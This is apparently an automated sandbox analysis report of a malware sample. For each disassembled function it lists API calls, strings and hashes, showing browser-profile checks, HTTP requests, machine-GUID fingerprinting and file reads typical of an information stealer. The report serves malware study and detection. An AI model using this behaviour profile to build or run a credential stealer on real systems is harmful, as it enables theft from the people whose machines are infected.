Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$AllocCurrentDirectoryInformationProcessProfileVolumeWindows_memsetlstrcpylstrlenmallocstrncpywsprintf
String ID: :\$C$QuBi
API String ID: 1856320939-239756005
Opcode ID: c7f50d0b37c49aa5d96b22e4307c66c166b619410a60999605eee9dd274a47da
Instruction ID: 9b70dc3a3d9c1ed2989dab06057fa0f20f228d91542261ea346a2b6b61a744a3
Opcode Fuzzy Hash: c7f50d0b37c49aa5d96b22e4307c66c166b619410a60999605eee9dd274a47da
Instruction Fuzzy Hash: 62416E719452289BCB16AF789C85ADEBBBCEF19304F0000E6F549E7111D7708F958F91

Function 00196908 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 79stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

Part of subcall function 001904EE: lstrcpyA.KERNEL32(00000000,?,?,00181D07,?,00197663), ref: 0019050D

Part of subcall function 00186963: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 001869C5
Part of subcall function 00186963: StrCmpCA.SHLWAPI(?), ref: 001869DF
Part of subcall function 00186963: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00186A0E
Part of subcall function 00186963: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00186A4D
Part of subcall function 00186963: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00186A7D
Part of subcall function 00186963: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00186A88
Part of subcall function 00186963: HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00186AAC

Part of subcall function 00190562: lstrcpyA.KERNEL32(00000000,?,00000000,001970FC,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190592

StrCmpCA.SHLWAPI(?,ERROR), ref: 0019695C
lstrlenA.KERNEL32(?), ref: 00196967

Part of subcall function 00191DF4: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00196973,?), ref: 00191E0C

StrStrA.SHLWAPI(00000000,?), ref: 0019697C
lstrlenA.KERNEL32(?), ref: 0019698B
lstrlenA.KERNEL32(00000000), ref: 001969A4

Strings

ERROR, xrefs: 00196956
ERROR, xrefs: 001969AF
ERROR, xrefs: 001969B9
ERROR, xrefs: 001969C7
ERROR, xrefs: 001969C0

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: HttpInternetlstrcpylstrlen$OpenRequest$AllocConnectInfoLocalOptionQuerySend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 4174444224-1526165396
Opcode ID: 1c3bd6ac4ef41956937a902ddb009b3509decb157d4b6cffb7b397c4212c3e18
Instruction ID: 225f49f6d775fdf8d59101fed4700aaca18f976a09e8bfd70fdf5857c4e94c29
Opcode Fuzzy Hash: 1c3bd6ac4ef41956937a902ddb009b3509decb157d4b6cffb7b397c4212c3e18
Instruction Fuzzy Hash: AB21BE32E00215AFCF22BF74EC468AE7FB8AF24304B544065F819E7152DB39DE058B90

Function 0018EA91 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 290COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(0094C481), ref: 0018EACE
StrCmpCA.SHLWAPI(0094C481), ref: 0018EB2B
StrCmpCA.SHLWAPI(0094C481,firefox), ref: 0018EDF2
StrCmpCA.SHLWAPI(0094C481), ref: 0018EC08

Part of subcall function 001904EE: lstrcpyA.KERNEL32(00000000,?,?,00181D07,?,00197663), ref: 0019050D

StrCmpCA.SHLWAPI(0094C481), ref: 0018ECB8
StrCmpCA.SHLWAPI(0094C481), ref: 0018ED15

Strings

Stable\, xrefs: 0018ED30
firefox, xrefs: 0018EDEC
Stable\, xrefs: 0018EB46

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: Stable\$ Stable\$firefox
API String ID: 3722407311-2697854757
Opcode ID: 9e8016a9f248b33fb593b2fa64ce9910f5d89a17dd96a7ae356060884291f47b
Instruction ID: 0c45b7766a015c300ca9df5e2d73b735fda4d47c07776a44c1bc668d93dd9f45
Opcode Fuzzy Hash: 9e8016a9f248b33fb593b2fa64ce9910f5d89a17dd96a7ae356060884291f47b
Instruction Fuzzy Hash: F4B15632D00109AFCF21FFA8ED47A9DBBB5AF64310F554160F914AB251DB30AF598B92

Function 001915A9 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 48registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001915DC
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?,?,?,?), ref: 001915FB
RegQueryValueExA.KERNEL32(?,MachineGuid,00000000,00000000,?,000000FF,?,?,?), ref: 00191620
RegCloseKey.ADVAPI32(?,?,?,?), ref: 0019162C
CharToOemA.USER32(?,?), ref: 00191640

Strings

MachineGuid, xrefs: 00191615
SOFTWARE\Microsoft\Cryptography, xrefs: 001915F1

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: CharCloseOpenQueryValue_memset
String ID: MachineGuid$SOFTWARE\Microsoft\Cryptography
API String ID: 2235053359-1211650757
Opcode ID: 2618e36372a0d6bca2caf58052c6a0fdf8cb6c71fbb16e6761d854a49ac00fee
Instruction ID: f188c7ea36ac209c02cf17a63d4a8073a671ea2379cb081b73db3c7f7ef880ff
Opcode Fuzzy Hash: 2618e36372a0d6bca2caf58052c6a0fdf8cb6c71fbb16e6761d854a49ac00fee
Instruction Fuzzy Hash: 601121B590121DAFDB11EF60ED89EEABBBCEB14304F0001E5F615E6052D7749E888F10

Function 00190B05 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00193ED5,Windows: ,001B68A8), ref: 00190B19
HeapAlloc.KERNEL32(00000000,?,?,?,00193ED5,Windows: ,001B68A8), ref: 00190B20
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,001B6890,?,?,?,00193ED5,Windows: ,001B68A8), ref: 00190B4E
RegQueryValueExA.KERNEL32(001B6890,00000000,00000000,00000000,000000FF,?,?,?,00193ED5,Windows: ,001B68A8), ref: 00190B6A
RegCloseKey.ADVAPI32(001B6890,?,?,?,00193ED5,Windows: ,001B68A8), ref: 00190B73

Strings

Windows 11, xrefs: 00190B31

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: f1d4fdbf116669f5554fdd3e5737c8ef8651217cf906e4f0b4b82bb32e371113
Instruction ID: 7a427ca7ac8f4800c7a6d1821f21d27b441b7374d7bcd822c4822bb2483c620c
Opcode Fuzzy Hash: f1d4fdbf116669f5554fdd3e5737c8ef8651217cf906e4f0b4b82bb32e371113
Instruction Fuzzy Hash: 1DF0FF79641304FFEF126BA1EC4AFAE7F6DEB48B05F140165F602AA1A0D7B19940DB60

Function 00190B7E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00190BF0,00190B2D,?,?,?,00193ED5,Windows: ,001B68A8), ref: 00190B92
HeapAlloc.KERNEL32(00000000,?,?,?,00190BF0,00190B2D,?,?,?,00193ED5,Windows: ,001B68A8), ref: 00190B99
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,001B6890,?,?,?,00190BF0,00190B2D,?,?,?,00193ED5,Windows: ,001B68A8), ref: 00190BB7
RegQueryValueExA.KERNEL32(001B6890,CurrentBuildNumber,00000000,00000000,00000000,000000FF,?,?,?,00190BF0,00190B2D,?,?,?,00193ED5,Windows: ), ref: 00190BD2
RegCloseKey.ADVAPI32(001B6890,?,?,?,00190BF0,00190B2D,?,?,?,00193ED5,Windows: ,001B68A8), ref: 00190BDB

Strings

CurrentBuildNumber, xrefs: 00190BCA

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: b1e295de4484ce3682ab72ff3f1cc6d7fd7cd7482740744fee10a8221b524d21
Instruction ID: b4fe1734f7f7a3ddc3c0cdb56a00b849555b79b5e4bc5b8037126b258136fffe
Opcode Fuzzy Hash: b1e295de4484ce3682ab72ff3f1cc6d7fd7cd7482740744fee10a8221b524d21
Instruction Fuzzy Hash: DEF0307A641304FBFB12AB91EC4AFAE7F7DEB44B05F140155F601AA0A0D7B199409B10

Function 00187FAC Relevance: 9.1, APIs: 6, Instructions: 60filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0018E72B,?,?,?), ref: 00187FC7
GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0018E72B,?,?,?), ref: 00187FDE
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0018E72B,?,?,?), ref: 00187FF5
ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0018E72B,?,?,?), ref: 0018800C
LocalFree.KERNEL32(0018EC91,?,?,?,?,0018E72B,?,?,?), ref: 0018802B
CloseHandle.KERNEL32(?,?,?,?,?,0018E72B,?,?,?), ref: 00188034

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: b877848f237db1f8f7fc003e79249ea23f3435d25cbe3a8afb2f4cd0b92a3e08
Instruction ID: ca5c0a3f3aeca3895c3333f0d84d48f627fc18a7e5006b888e94eb381e3fde3d
Opcode Fuzzy Hash: b877848f237db1f8f7fc003e79249ea23f3435d25cbe3a8afb2f4cd0b92a3e08
Instruction Fuzzy Hash: 62115874901204EFDF22AFA4ED88EAE7FB8EB44781F600549F851EA190DB719B85DF11

Function 0019172C Relevance: 9.1, APIs: 6, Instructions: 58commemoryCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00191733
CoCreateInstance.OLE32(001B31B0,00000000,00000001,001BAF60,?,00000018,001918D6,?), ref: 00191756
SysAllocString.OLEAUT32(?), ref: 00191763
_wtoi64.MSVCRT ref: 00191796
SysFreeString.OLEAUT32(?), ref: 001917AF
SysFreeString.OLEAUT32(00000000), ref: 001917B6

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: String$Free$AllocCreateH_prolog3_catchInstance_wtoi64
String ID:
API String ID: 181426013-0
Opcode ID: c74b80f3d7f63c19a5843d2d139c03d03454b16b060e54c4c6f20d0e26cf383a
Instruction ID: 33220f280da694858d8e454154c254377680326b9c55ce606bb24d24fee9b00b
